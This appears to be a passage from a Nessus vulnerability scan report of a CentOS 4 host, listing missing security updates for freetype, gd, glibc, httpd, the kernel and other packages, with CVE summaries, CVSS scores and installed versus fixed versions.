The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

FreeType is a free, high-quality, portable font engine that can open and manage font files. It also loads, hints, and renders individual glyphs efficiently. The freetype packages for Red Hat Enterprise Linux 4 provide both the FreeType 1 and FreeType 2 font engines. The freetype packages for Red Hat Enterprise Linux 5 and 6 provide only the FreeType 2 font engine.

Multiple input validation flaws were found in the way FreeType processed CID-keyed fonts. If a specially crafted font file was loaded by an application linked against FreeType, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2011-3439)

Note: These issues only affected the FreeType 2 font engine.

Users are advised to upgrade to these updated packages, which contain a backported patch to correct these issues. The X server must be restarted (log out, then log back in) for this update to take effect.

See Also

<http://www.nessus.org/u?ac3e2124>
<http://www.nessus.org/u?a675685a>
<http://www.nessus.org/u?39bedc6f>
<http://www.nessus.org/u?59995cf>

Solution

Update the affected freetype packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	50643
CVE	CVE-2011-3439
XREF	RHSA:2011:1455

Plugin Information

Published: 2011/11/22, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : freetype-2.1.9-5.el4
Should be : freetype-2.1.9-21.el4
```

31310 - CentOS 4 / 5 : gd (CESA-2008:0146)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated gd packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The gd package contains a graphics library used for the dynamic creation of images such as PNG and JPEG.

Multiple issues were discovered in the gd GIF image-handling code. A carefully-crafted GIF file could cause a crash or possibly execute code with the privileges of the application using the gd library.

(CVE-2006-4484, CVE-2007-3475, CVE-2007-3476)

An integer overflow was discovered in the gdImageCreateTrueColor() function, leading to incorrect memory allocations. A carefully crafted image could cause a crash or possibly execute code with the privileges of the application using the gd library. (CVE-2007-3472)

A buffer over-read flaw was discovered. This could cause a crash in an application using the gd library to render certain strings using a JIS-encoded font. (CVE-2007-0455)

A flaw was discovered in the gd PNG image handling code. A truncated PNG image could cause an infinite loop in an application using the gd library. (CVE-2007-2756)

A flaw was discovered in the gd X BitMap (XBM) image-handling code. A malformed or truncated XBM image could cause a crash in an application using the gd library. (CVE-2007-3473)

Users of gd should upgrade to these updated packages, which contain backported patches which resolve these issues.

See Also

<http://www.nessus.org/u?14a13367>
<http://www.nessus.org/u?34d3ce35>
<http://www.nessus.org/u?b3db165a>
<http://www.nessus.org/u?53ef0c9f>
<http://www.nessus.org/u?f07b1add>

Solution

Update the affected gd packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	19582
BID	24089
BID	24651
CVE	CVE-2006-4484
CVE	CVE-2007-0455
CVE	CVE-2007-2756
CVE	CVE-2007-3472
CVE	CVE-2007-3473
CVE	CVE-2007-3475
CVE	CVE-2007-3476
XREF	RHSA:2008:0146
XREF	CWE:119
XREF	CWE:189

Plugin Information

Published: 2008/02/29, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : gd-2.0.28-5.4E
Should be : gd-2.0.28-5.4E.e14_6.1

43625 - CentOS 4 / 5 : gd (CESA-2010:0003)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated gd packages that fix a security issue are now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The gd packages provide a graphics library used for the dynamic creation of images, such as PNG and JPEG.

A missing input sanitization flaw, leading to a buffer overflow, was discovered in the gd library. A specially crafted GD image file could cause an application using the gd library to crash or, possibly, execute arbitrary code when opened. (CVE-2009-3546)

Users of gd should upgrade to these updated packages, which contain a backported patch to resolve this issue.

See Also

<http://www.nessus.org/u?477576df>
<http://www.nessus.org/u?cb6b5deb>
<http://www.nessus.org/u?920acc8a>
<http://www.nessus.org/u?136a1ac7>

Solution

Update the affected gd packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	36712
CVE	CVE-2009-3546
XREF	RHSA:2010:0003

Plugin Information

Published: 2010/01/05, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : gd-2.0.28-5.4E
Should be : gd-2.0.28-5.4E.e14_8.1

40779 - CentOS 4 / 5 : gnutls (CESA-2009:1232)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated gnutls packages that fix a security issue are now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The GnuTLS library provides support for cryptographic algorithms and for protocols such as Transport Layer Security (TLS).

A flaw was discovered in the way GnuTLS handles NULL characters in certain fields of X.509 certificates. If an attacker is able to get a carefully-crafted certificate signed by a Certificate Authority trusted by an application using GnuTLS, the attacker could use the certificate during a man-in-the-middle attack and potentially confuse the application into accepting it by mistake. (CVE-2009-2730)

Users of GnuTLS are advised to upgrade to these updated packages, which contain a backported patch that corrects this issue.

See Also

<http://www.nessus.org/u?897036af>
<http://www.nessus.org/u?33e7a995>
<http://www.nessus.org/u?04b00768>
<http://www.nessus.org/u?4e54384f>

Solution

Update the affected gnutls packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	35952
CVE	CVE-2009-2730
XREF	RHSA:2009:1232
XREF	CWE:310

Plugin Information

Published: 2009/08/27, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : gnutls-1.0.20-3.2.3
Should be : gnutls-1.0.20-4.el4_8.3
```

25580 - CentOS 4 / 5 : krb5 (CESA-2007:0562)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated krb5 packages that fix several security flaws are now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having important security impact by the Red Hat Security Response Team.

Kerberos is a network authentication system which allows clients and servers to authenticate to each other through use of symmetric encryption and a trusted third party, the KDC. kadm5 is the KADM5 administration server.

David Coffey discovered an uninitialized pointer free flaw in the RPC library used by kadm5. On Red Hat Enterprise Linux 4 and 5, glibc detects attempts to free invalid pointers. A remote unauthenticated attacker who can access kadm5 could trigger this flaw and cause kadm5 to crash. (CVE-2007-2442)

David Coffey also discovered an overflow flaw in the RPC library used by kadm5. On Red Hat Enterprise Linux, exploitation of this flaw is limited to a denial of service. A remote unauthenticated attacker who can access kadm5 could trigger this flaw and cause kadm5 to crash.
 (CVE-2007-2443)

A stack-based buffer overflow flaw was found in kadm5. An authenticated attacker who can access kadm5 could trigger this flaw and potentially execute arbitrary code on the Kerberos server.
 (CVE-2007-2798)

Users of krb5-server are advised to update to these erratum packages which contain backported fixes to correct these issues.

See Also

<http://www.nessus.org/u?e9b3d926>
<http://www.nessus.org/u?987c0fee>
<http://www.nessus.org/u?70b8e129>
<http://www.nessus.org/u?be8beaab>
<http://www.nessus.org/u?02a17f7c>

Solution

Update the affected krb5 packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:L/I:C/A:C)

CVSS v2.0 Temporal Score

6.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	24653
BID	24655
BID	24657
CVE	CVE-2007-2442
CVE	CVE-2007-2443
CVE	CVE-2007-2798
XREF	RHSA:2007:0562
XREF	CWE:119

Plugin Information

Published: 2007/06/27, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : krb5-devel-1.3.4-47
Should be : krb5-devel-1.3.4-49
```

```
Remote package installed : krb5-libs-1.3.4-47
Should be : krb5-libs-1.3.4-49
```

```
Remote package installed : krb5-workstation-1.3.4-47
Should be : krb5-workstation-1.3.4-49
```

52510 - CentOS 4 / 5 : libtiff (CESA-2011:0318)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated libtiff packages that fix one security issue are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The libtiff packages contain a library of functions for manipulating Tagged Image File Format (TIFF) files.

A heap-based buffer overflow flaw was found in the way libtiff processed certain TIFF Internet Fax image files, compressed with the CCITT Group 4 compression algorithm. An attacker could use this flaw to create a specially crafted TIFF file that, when opened, would cause an application linked against libtiff to crash or, possibly, execute arbitrary code. (CVE-2011-0192)

Red Hat would like to thank Apple Product Security for reporting this issue.

All libtiff users should upgrade to these updated packages, which contain a backported patch to resolve this issue. All running applications linked against libtiff must be restarted for this update to take effect.

See Also

<http://www.nessus.org/u?263ab022>
<http://www.nessus.org/u?4da7d029>
<http://www.nessus.org/u?e23e971d>
<http://www.nessus.org/u?e3270f75>

Solution

Update the affected libtiff packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.9 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2011-0192
XREF	RHSA:2011:0318

Plugin Information

Published: 2011/03/03, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libtiff-3.6.1-12
Should be : libtiff-3.6.1-17.el4
```

57068 - CentOS 4 / 5 : perl (CESA-2011:1797)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated perl packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4 and 5.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

Perl is a high-level programming language commonly used for system administration utilities and web programming.

It was found that the 'new' constructor of the Digest module used its argument as part of the string expression passed to the eval() function. An attacker could possibly use this flaw to execute arbitrary Perl code with the privileges of a Perl program that uses untrusted input as an argument to the constructor. (CVE-2011-3597)

It was found that the Perl CGI module used a hard-coded value for the MIME boundary string in multipart/x-mixed-replace content. A remote attacker could possibly use this flaw to conduct an HTTP response splitting attack via a specially crafted HTTP request. (CVE-2010-2761)

A CRLF injection flaw was found in the way the Perl CGI module processed a sequence of non-whitespace preceded by newline characters in the header. A remote attacker could use this flaw to conduct an HTTP response splitting attack via a specially crafted sequence of characters provided to the CGI module. (CVE-2010-4410)

All Perl users should upgrade to these updated packages, which contain backported patches to correct these issues. All running Perl programs must be restarted for this update to take effect.

See Also

<http://www.nessus.org/u?fd8a88cc>
<http://www.nessus.org/u?fab88022>
<http://www.nessus.org/u?105f979f>
<http://www.nessus.org/u?43d88556>

Solution

Update the affected perl packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	44199
BID	45145
BID	49911
CVE	CVE-2010-2761
CVE	CVE-2010-4410
CVE	CVE-2011-3597
XREF	RHSA:2011:1797

Plugin Information

Published: 2011/12/12, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : perl-5.8.5-36.RHEL4
Should be : perl-5.8.5-57.el4
```

56380 - CentOS 4 / 5 : rpm (CESA-2011:1349)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated rpm packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4, 5, and 6, and Red Hat Enterprise Linux 3 Extended Life Cycle Support, 5.3 Long Life, 5.6 Extended Update Support, and 6.0 Extended Update Support.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The RPM Package Manager (RPM) is a command line driven package management system capable of installing, uninstalling, verifying, querying, and updating software packages.

Multiple flaws were found in the way the RPM library parsed package headers. An attacker could create a specially crafted RPM package that, when queried or installed, would cause rpm to crash or, potentially, execute arbitrary code. (CVE-2011-3378)

Note: Although an RPM package can, by design, execute arbitrary code when installed, this issue would allow a specially crafted RPM package to execute arbitrary code before its digital signature has been verified. Package downloads from the Red Hat Network remain secure due to certificate checks performed on the secure connection.

All RPM users should upgrade to these updated packages, which contain a backported patch to correct these issues. All running applications linked against the RPM library must be restarted for this update to take effect.

See Also

<http://www.nessus.org/u?e271676>
<http://www.nessus.org/u?1c545a1a>
<http://www.nessus.org/u?b6ff68a7>
<http://www.nessus.org/u?309460ed>

Solution

Update the affected rpm packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:I/C:A:C)

CVSS v2.0 Temporal Score

6.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	49799
CVE	CVE-2011-3378
XREF	RHSA:2011:1349

Plugin Information

Published: 2011/10/04, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : popt-1.9.1-22_nonptl
Should be : popt-1.9.1-35_nonptl.el4_8

Remote package installed : rpm-4.3.3-22_nonptl
Should be : rpm-4.3.3-35_nonptl.el4_8

Remote package installed : rpm-build-4.3.3-22_nonptl
Should be : rpm-build-4.3.3-35_nonptl.el4_8

Remote package installed : rpm-devel-4.3.3-22_nonptl
Should be : rpm-devel-4.3.3-35_nonptl.el4_8

Remote package installed : rpm-libs-4.3.3-22_nonptl
Should be : rpm-libs-4.3.3-35_nonptl.el4_8

Remote package installed : rpm-python-4.3.3-22_nonptl
Should be : rpm-python-4.3.3-35_nonptl.el4_8
```

45067 - CentOS 4 / 5 : tar (CESA-2010:0141)

Synopsis

The remote CentOS host is missing a security update.

Description

An updated tar package that fixes two security issues is now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The GNU tar program saves many files together in one archive and can restore individual files (or all of the files) from that archive.

A heap-based buffer overflow flaw was found in the way tar expanded archive files. If a user were tricked into expanding a specially crafted archive, it could cause the tar executable to crash or execute arbitrary code with the privileges of the user running tar.
(CVE-2010-0624)

Red Hat would like to thank Jakob Lell for responsibly reporting the CVE-2010-0624 issue.

A denial of service flaw was found in the way tar expanded archive files. If a user expanded a specially crafted archive, it could cause the tar executable to crash.
(CVE-2007-4476)

Users of tar are advised to upgrade to this updated package, which contains backported patches to correct these issues.

See Also

<http://www.nessus.org/u?af22a263>
<http://www.nessus.org/u?f14eb14d>
<http://www.nessus.org/u?a7b5624d>
<http://www.nessus.org/u?20b655e9>

Solution

Update the affected tar package.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	26445
BID	38628
CVE	CVE-2007-4476
CVE	CVE-2010-0624
XREF	RHSA:2010:0141
XREF	CWE:119

Plugin Information

Published: 2010/03/17, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : tar-1.14-12.RHEL4
Should be : tar-1.14-13.el4_8.1
```

52757 - CentOS 4 / 5 : wireshark (CESA-2011:0370)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated wireshark packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4 and 5.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

Wireshark is a program for monitoring network traffic. Wireshark was previously known as Ethereal.

A heap-based buffer overflow flaw was found in Wireshark. If Wireshark opened a specially crafted capture file, it could crash or, possibly, execute arbitrary code as the user running Wireshark. (CVE-2011-0024)

Several denial of service flaws were found in Wireshark. Wireshark could crash or stop responding if it read a malformed packet off a network, or opened a malicious dump file. (CVE-2010-3445, CVE-2011-0538, CVE-2011-1139, CVE-2011-1140, CVE-2011-1141, CVE-2011-1143)

Users of Wireshark should upgrade to these updated packages, which contain backported patches to correct these issues. All running instances of Wireshark must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?36423823>
<http://www.nessus.org/u?af809564>
<http://www.nessus.org/u?6f9a6ee2>
<http://www.nessus.org/u?8a01235e>

Solution

Update the affected wireshark packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:C/A:C)

CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	43197
BID	46167
BID	46626
BID	46796
CVE	CVE-2010-3445
CVE	CVE-2011-0024
CVE	CVE-2011-0538
CVE	CVE-2011-0713
CVE	CVE-2011-1138
CVE	CVE-2011-1139
CVE	CVE-2011-1140
CVE	CVE-2011-1141
CVE	CVE-2011-1142
CVE	CVE-2011-1143
XREF	RHSA:2011:0370

Plugin Information

Published: 2011/03/23, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : wireshark-0.99.5-EL4.1
Should be : wireshark-1.0.15-2.el4
```

55861 - CentOS 4 : freetype (CESA-2011:1161)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated freetype packages that fix one security issue are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

FreeType is a free, high-quality, portable font engine that can open and manage font files. It also loads, hints, and renders individual glyphs efficiently. These packages provide both the FreeType 1 and FreeType 2 font engines.

A buffer overflow flaw was found in the way the FreeType library handled malformed font files compressed using UNIX compress. If a user loaded a specially crafted compressed font file with an application linked against FreeType, it could cause the application to crash or, possibly, execute arbitrary code with the privileges of the user running the application. (CVE-2011-2895)

Note: This issue only affects the FreeType 2 font engine.

Users are advised to upgrade to these updated packages, which contain a backported patch to correct this issue. The X server must be restarted (log out, then log back in) for this update to take effect.

See Also

<http://www.nessus.org/u?4a7d86e9>
<http://www.nessus.org/u?8d042a07>

Solution

Update the affected freetype packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	49124
CVE	CVE-2011-2895
XREF	RHSA:2011:1161

Plugin Information

Published: 2011/08/17, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : freetype-2.1.9-5.e14
Should be : freetype-2.1.9-19.e14
```

57923 - CentOS 4 : glibc (CESA-2012:0125)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated glibc packages that fix multiple security issues and one bug are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

The glibc packages contain the standard C libraries used by multiple programs on the system. These packages contain the standard C and the standard math libraries. Without these two libraries, a Linux system cannot function properly.

An integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)

A flaw was found in the way the ldd utility identified dynamically linked libraries. If an attacker could trick a user into running ldd on a malicious binary, it could result in arbitrary code execution with the privileges of the user running ldd. (CVE-2009-5064)

It was discovered that the glibc addmntent() function, used by various mount helper utilities, did not sanitize its input properly. A local attacker could possibly use this flaw to inject malformed lines into the mtab (mounted file systems table) file via certain setuid mount helpers, if the attacker were allowed to mount to an arbitrary directory under their control. (CVE-2010-0296)

An integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library loaded ELF (Executable and Linking Format) files. If a carefully-crafted ELF file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2010-0830)

It was discovered that the glibc fnmatch() function did not properly restrict the use of alloca(). If the function was called on sufficiently large inputs, it could cause an application using fnmatch() to crash or, possibly, execute arbitrary code with the privileges of the application. (CVE-2011-1071)

It was found that the glibc addmntent() function, used by various mount helper utilities, did not handle certain errors correctly when updating the mtab (mounted file systems table) file. If such utilities had the setuid bit set, a local attacker could use this flaw to corrupt the mtab file. (CVE-2011-1089)

It was discovered that the locale command did not produce properly escaped output as required by the POSIX specification. If an attacker were able to set the locale environment variables in the environment of a script that performed shell evaluation on the output of the locale command, and that script were run with different privileges than the attacker's, it could execute arbitrary code with the privileges of the script. (CVE-2011-1095)

An integer overflow flaw was found in the glibc fnmatch() function. If an attacker supplied a long UTF-8 string to an application linked against glibc, it could cause the application to crash.

(CVE-2011-1659)

A denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)

Red Hat would like to thank the Ubuntu Security Team for reporting CVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu Security Team acknowledges Dan Rosenberg as the original reporter of CVE-2010-0830.

This update also fixes the following bug :

* When using an nsqd package that is a different version than the glibc package, the nsqd service could fail to start. This update makes the nsqd package require a specific glibc version to prevent this problem. (BZ#657009)

Users should upgrade to these updated packages, which resolve these issues.

See Also

<http://www.nessus.org/u?04137bde>

Solution

Update the affected glibc packages.

Risk Factor

High

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	40063
BID	46563
BID	46740
BID	47370
BID	50898
BID	51439
CVE	CVE-2009-5029
CVE	CVE-2009-5064
CVE	CVE-2010-0296
CVE	CVE-2010-0830
CVE	CVE-2011-1071
CVE	CVE-2011-1089
CVE	CVE-2011-1095
CVE	CVE-2011-1659
CVE	CVE-2011-4609
XREF	RHSA:2012:0125

Plugin Information

Published: 2012/02/14, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : glibc-2.3.4-2.36
Should be : glibc-2.3.4-2.57

Remote package installed : glibc-common-2.3.4-2.36
Should be : glibc-common-2.3.4-2.57

Remote package installed : glibc-devel-2.3.4-2.36
Should be : glibc-devel-2.3.4-2.57

Remote package installed : glibc-headers-2.3.4-2.36
Should be : glibc-headers-2.3.4-2.57

Remote package installed : nscd-2.3.4-2.36
Should be : nscd-2.3.4-2.57

45366 - CentOS 4 : gnutls (CESA-2010:0167)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated gnutls packages that fix two security issues are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

The GnuTLS library provides support for cryptographic algorithms and for protocols such as Transport Layer Security (TLS).

A flaw was found in the way the TLS/SSL (Transport Layer Security/Secure Sockets Layer) protocols handled session renegotiation. A man-in-the-middle attacker could use this flaw to prefix arbitrary plain text to a client's session (for example, an HTTPS connection to a website). This could force the server to process an attacker's request as if authenticated using the victim's credentials. This update addresses this flaw by implementing the TLS Renegotiation Indication Extension, as defined in RFC 5746.

(CVE-2009-3555)

Refer to the following Knowledgebase article for additional details about the CVE-2009-3555 flaw:
<http://kbase.redhat.com/faq/docs/DOC-20491>

A flaw was found in the way GnuTLS extracted serial numbers from X.509 certificates. On 64-bit big endian platforms, this flaw could cause the certificate revocation list (CRL) check to be bypassed; cause various GnuTLS utilities to crash; or, possibly, execute arbitrary code. (CVE-2010-0731)

Users of GnuTLS are advised to upgrade to these updated packages, which contain backported patches to correct these issues. For the update to take effect, all applications linked to the GnuTLS library must be restarted, or the system rebooted.

See Also

<http://www.nessus.org/u?635c7606>
<http://www.nessus.org/u?e74ff74b>

Solution

Update the affected gnutls packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2009-3555
CVE	CVE-2010-0731
XREF	RHSA:2010:0167
XREF	CWE:310

Plugin Information

Published: 2010/03/29, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : gnutls-1.0.20-3.2.3
Should be : gnutls-1.0.20-4.el4_8.7
```

67074 - CentOS 4 : httpd (CESA-2009:1580)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated httpd packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The Apache HTTP Server is a popular Web server.

A flaw was found in the way the TLS/SSL (Transport Layer Security/Secure Sockets Layer) protocols handle session renegotiation. A man-in-the-middle attacker could use this flaw to prefix arbitrary plain text to a client's session (for example, an HTTPS connection to a website). This could force the server to process an attacker's request as if authenticated using the victim's credentials. This update partially mitigates this flaw for SSL sessions to HTTP servers using mod_ssl by rejecting client-requested renegotiation. (CVE-2009-3555)

Note: This update does not fully resolve the issue for HTTPS servers.

An attack is still possible in configurations that require a server-initiated renegotiation. Refer to the following Knowledgebase article for further information: <http://kbase.redhat.com/faq/docs/DOC-20491>

A denial of service flaw was found in the Apache mod_deflate module.

This module continued to compress large files until compression was complete, even if the network connection that requested the content was closed before compression completed. This would cause mod_deflate to consume large amounts of CPU if mod_deflate was enabled for a large file. (CVE-2009-1891)

A NULL pointer dereference flaw was found in the Apache mod_proxy_ftp module. A malicious FTP server to which requests are being proxied could use this flaw to crash an httpd child process via a malformed reply to the EPSV or PASV commands, resulting in a limited denial of service. (CVE-2009-3094)

A second flaw was found in the Apache mod_proxy_ftp module. In a reverse proxy configuration, a remote attacker could use this flaw to bypass intended access restrictions by creating a carefully-crafted HTTP Authorization header, allowing the attacker to send arbitrary commands to the FTP server. (CVE-2009-3095)

All httpd users should upgrade to these updated packages, which contain backported patches to correct these issues. After installing the updated packages, the httpd daemon must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?d1557a9d>
<http://www.nessus.org/u?5b056973>

Solution

Update the affected httpd packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID	35623
BID	36254
BID	36260
BID	36935
CVE	CVE-2009-1891
CVE	CVE-2009-3094
CVE	CVE-2009-3095
CVE	CVE-2009-3555
XREF	RHSA:2009:1580
XREF	CWE:119
XREF	CWE:264
XREF	CWE:310
XREF	CWE:399

Plugin Information

Published: 2013/06/29, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : httpd-2.0.52-32.ent.centos4
Should be : httpd-2.0.52-41.ent.6.centos4
```

```
Remote package installed : httpd-manual-2.0.52-32.ent.centos4
Should be : httpd-manual-2.0.52-41.ent.6.centos4
```

```
Remote package installed : httpd-suexec-2.0.52-32.ent.centos4
Should be : httpd-suexec-2.0.52-41.ent.6.centos4
```

```
Remote package installed : mod_ssl-2.0.52-32.ent.centos4
Should be : mod_ssl-2.0.52-41.ent.6.centos4
```

56046 - CentOS 4 : httpd (CESA-2011:1245)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated httpd packages that fix one security issue are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The Apache HTTP Server is a popular web server.

A flaw was found in the way the Apache HTTP Server handled Range HTTP headers. A remote attacker could use this flaw to cause httpd to use an excessive amount of memory and CPU time via HTTP requests with a specially crafted Range header. (CVE-2011-3192)

All httpd users should upgrade to these updated packages, which contain a backported patch to correct this issue. After installing the updated packages, the httpd daemon must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?6a01fb5d>
<http://www.nessus.org/u?dbdb62c6>

Solution

Update the affected httpd packages.

Risk Factor

High

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.8 (CVSS2#E:H/RL:OF/RC:C)

References

BID	49303
CVE	CVE-2011-3192
KREF	RHSA:2011:1245

Exploitable With

Core Impact (true)

Plugin Information

Published: 2011/09/02, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : httpd-2.0.52-32.ent.centos4
Should be : httpd-2.0.52-48.ent.centos4

Remote package installed : httpd-manual-2.0.52-32.ent.centos4
Should be : httpd-manual-2.0.52-48.ent.centos4

Remote package installed : httpd-suexec-2.0.52-32.ent.centos4
Should be : httpd-suexec-2.0.52-48.ent.centos4

Remote package installed : mod_ssl-2.0.52-32.ent.centos4
Should be : mod_ssl-2.0.52-48.ent.centos4
```

26206 - CentOS 4 : kernel (CESA-2007:0937)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix a security issue in the Red Hat Enterprise Linux 4 kernel are now available.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The Linux kernel handles the basic functions of the operating system.

A flaw was found in the IA32 system call emulation provided on AMD64 and Intel 64 platforms. An improperly validated 64-bit value could be stored in the %RAX register, which could trigger an out-of-bounds system call table access. An untrusted local user could exploit this flaw to run code in the kernel (ie a root privilege escalation). (CVE-2007-4573).

Red Hat would like to thank Wojciech Purczynski for reporting this issue.

Red Hat Enterprise Linux 4 users are advised to upgrade to these packages, which contain a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?37c7987a>
<http://www.nessus.org/u?71eaaf4a>
<http://www.nessus.org/u?f6d29f79>

Solution

Update the affected kernel packages.

Risk Factor

High

